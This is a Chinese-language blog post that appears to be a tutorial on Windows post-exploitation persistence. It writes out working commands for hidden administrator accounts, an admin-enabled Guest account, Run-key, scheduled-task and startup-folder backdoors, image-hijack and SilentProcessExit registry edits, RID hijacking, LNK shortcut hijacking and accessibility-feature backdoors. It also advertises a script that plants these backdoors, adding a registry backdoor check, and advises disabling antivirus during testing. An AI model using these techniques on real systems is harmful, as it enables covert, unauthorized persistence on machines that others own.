List

  1. 账户隐藏
  2. 注册表开机自动启动项
  3. DLL劫持
  4. 计划任务
  5. 文件夹启动
  6. 映像劫持静默运行
  7. RID 劫持
  8. 快捷方式劫持
  9. 辅助功能权限维持
  10. 权限维持辅助脚本编写

前言

Tips:大佬绕路本人小白。

对于后渗透阶段权限维持还是比较重要的一个环节,所以想总结一下在 Windows 、Linux 下权限维持的姿势,并试着编写出后门检测脚本。文章内有错误的地方还请表哥们指出谢谢。


0x1 账户隐藏

1.1 隐藏用户

net user administrator$ AdminPassw0ad!@ /add && net localgroup administrators administrator$ /add

1.2 激活 Guest用户

控制面板所有控制面板项用户帐户管理帐户启用来宾帐户

net user guest Admin@hacker && net localgroup administrators guest /add
net user guest /active:yes

0x2 注册表开机自动启动项

2.1 Run键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Tips: 其下的所有程序在每次启动登录时都会按顺序自动执行。

2.2 RunOnce键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Tips: 与Run键不同的是,RunOnce下的程序仅会被自动执行一次。

2.3 RunServicesOnce键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Tips: 其中的程序会在系统加载时自动启动执行一次。

2.4 RunServices键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

Tips: RunServices是继RunServicesOnce之后启动的程序。

2.5 RunOnceEx键

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

Tips: 该键是 Windows XP/2003 特有的自启动注册表项。

2.6 Load键

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

WX20200509-151449@2x.png

Tips: Load 键值的程序也可以自启动。

2.7 Winlogon键

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Tips: 注意下面的 NotifyUserinitShell键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现登录的时候启动多个程序。

2.8 其他注册表位置

还有一些其他键值,程序会自动运行。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts

Tips: 注册表的 HKEY_LOCAL_MACHINEHKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效。


0x3 DLL劫持

3.1 概述

在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。

系统在使用DLL搜索顺序取决于是否启用安全的DLL搜索模式。

Tips: Windows XP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式。

若要使用此功能,需修改以下注册表值,0为禁止,1为启用。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

3.2 SafeDLLSearchMode启用后DLL搜索顺序

  1. 从其中加载应用程序的目录。
  2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
  3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
  4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
  5. 当前目录。
  6. PATH环境变量中列出的目录。

3.3 SafeDLLSearchMode禁用后DLL搜索顺序

  1. 从其中加载应用程序的目录。
  2. 当前目录。
  3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
  4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
  5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
  6. PATH环境变量中列出的目录。

3.4 DLL 劫持简易流程图

DLL 劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用WindowsDLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL
(可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性)。

DLL 劫持流程图(简易).png

编译后劫持用的DLL文件改成原DLL文件的名字,原DLL文件改为代码中调用DLL文件的名字。
(为了保证应用程序的正常运行,需要在执行恶意DLL文件后继续加载应用程序缺失的DLL文件)。


0x4 计划任务

schtasks /create /sc ONLOGON /mo modifier /tr C:\Windows\System32\cmd.exe /tn test

4.1 命令解析

创建新的计划任务。

schtasks /create

指定计划类型。有效值为 MINUTEHOURLYDAILYWEEKLYMONTHLYONCEONSTARTONLOGONONIDLE

/sc schedule

指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTEHOURLYDAILYWEEKLY 计划,这个参数有效,但也可选。默认值为 1。

/mo modifier

指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

/tr <TaskRun>

指定任务的名称。

/tn <TaskName>

4.2 常用命令

每分钟执行一次任务。

schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr  "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

WX20200509-173311@2x.png

每小时执行一次任务。

schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr  "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

每天执行一次任务。

schtasks /create /sc DAILY /mo 1 /tn calc_update /tr  "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

每周执行一次任务。

schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr  "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

删除计划任务。

schtasks /Delete /TN 任务名称 /F

参考引用:
schtasks命令详解


0x5 文件夹启动

在每次开机或重启的时候就会运行启动文件夹下的程序。

C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

WX20200509-175901@2x.png

0x6 映像劫持

在下面注册表路径下创建一个子项,子项的名称为你要劫持的exe名称,比如 cmd.exe
然后创建一个值,键名为Debugger, 值为要执行的恶意脚本。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

weiquan4.png

运行 cmd.exe 时执行成功运行 calc.exe

Tips:测试时安全软件拦截,所以要先退出杀软。

6.1 映像劫持隐蔽后门

效果notepad.exe 程序被 calc.exe 劫持程序后,当运行 notepad.exenotepad.exe 正常打开,关闭 notepad.exe 时则静默运行 calc.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image FileExe cution Options\notepad.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProces sExit\notepad.exe

示例:劫持notepad.exe,管理员运行CMD执行下面三条DOS命令修改注册表。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Silen tProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d C:\Windows\System32\cal c.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Silen tProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

79867-ljornonn0y.png

GIF 2020-5-15 11-21-51.gif

参考:https://www.anquanke.com/post/id/151425


0x7 RID 劫持

新建一个普通用户 admin ,在下面注册表中。

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

找到 admin 对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置 (即RID的十六进制表示)。

weiquan6.png

Tips:SAM下的注册表选项需要获得system权限才能读取

查看 administrator 对应键值,数值名称为F ,数值内容 0030 的位置复制到 admin 对应键值,数值名称为F ,数值内容 0030 的位置。

weiquan7.png

weiquan8.png

点击确定然后关机重启,登陆 admin 用户。

weiquan5.png


0x8 快捷方式劫持

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK,它为 红队提供了很多机会来执行各种格式的代码 exevbsPowershellscriptlet等。

如下案例,powershell 并没有做任何处理只做演示学习。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\ChromeCore\ChromeCoreLauncher.exe'; invoke-item c:\Users\liuxueshuo\AppData\Local\Temp\calc_update.exe"

WX20200509-181303@2x.png

asd.png

Tips: 调用Powershell程序时图标会更改为相应程序(Powershell)的图标,注意修改图标。


0x9 辅助功能权限维持

辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读等),可以帮助残疾人更轻松地使用 Windows操作系统但是,此功能可能会被滥用,以在已启用RDP且已获得管理员级别权限的主机上实现持久性。

9.1 常用的辅助功能

Shift 后门
放大镜后门
屏幕键盘后门
...


0x10 权限维持辅助脚本编写

注册表后门检测及常用后门放置自动化脚本编写。

脚本语言:Python3。

运行系统(已测试):Windows 7 (x64)。

下载地址gayhub 已编译成EXE。

说明:

创建$隐藏用户并返回账号密码
python3 main.py account_hidden

激活guest用户并返回账号密码
python3 main.py activate_guest_user

注册表启动项后门检查   
python3 main.py registry_backdoor_check

放置注册表启动项后门
python3 main.py create_registry_run keyName KeyValues

创建计划任务后门(1分钟执行一次)
python3 main.py create_schtasks keyName KeyValues

放置文件夹启动后门
python3 main.py folder_start BackdoorScript

创建注册表映像劫持后门        
python3 main.py image_hijacking SystemApplication BackdoorScript

78674-p0kewy6t0h9.png

创建$隐藏用户并返回账号密码

main.exe account_hidden

激活guest用户并返回账号密码

main.exey activate_guest_user

04227-s9tpclp32ch.png

注册表启动项后门检查

main.exe registry_backdoor_check

09367-f0j643il9aq.png

放置注册表启动项后门

main.exe create_registry_run demo C:\Users\ppbibo\AppData\Local\Temp\calc.exe

43451-5xf8wsv1uh3.png

34516-u1s0atmz2i.png

21196-iijiia6vlh.png

创建计划任务后门(1分钟执行一次)

main.exe create_schtasks Demo C:\Users\ppbibo\AppData\Local\Temp\calc.exe

14531-v368h749fxs.png

13244-0as0ou0ucbhc.png

放置文件夹启动后门

main.exe folder_start C:\Users\ppbibo\AppData\Local\Temp\calc.exe

77497-fyijt3gy59.png

10778-an5lls6emb9.png

创建注册表映像劫持后门

main.exe image_hijacking cmd.exe C:\Users\ppbibo\AppData\Local\Temp\calc.exe

46135-tykzrzrue1n.png

02931-64qmsrisb8f.png

25517-qum77g6kck.png


标签: 内网渗透

仅有一条评论

  1. Jbxz

    博主去看你的av 不要更新了。

添加新评论

marisa.png